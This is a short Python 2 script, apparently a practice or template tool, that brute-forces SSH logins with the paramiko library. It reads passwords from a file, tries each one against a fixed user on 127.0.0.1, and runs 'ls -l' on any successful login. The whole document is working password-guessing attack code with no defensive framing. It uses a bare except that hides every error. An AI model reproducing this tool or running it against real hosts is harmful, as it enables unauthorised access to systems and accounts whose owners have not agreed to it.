#!/usr/bin/python
# -*- coding: utf-8 -*-

import paramiko

f=open('passwords.txt', 'r')
passwords=f.readlines()
f.close()


host = '127.0.0.1'
user = 'user'
port = 22

for secret in passwords:
    print secret
    secret=secret.strip()   # delete \n
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=host, username=user, password=secret, port=port)
        stdin, stdout, stderr = client.exec_command('ls -l')
        data = stdout.read() + stderr.read()
        print data
    except:
        pass
    client.close()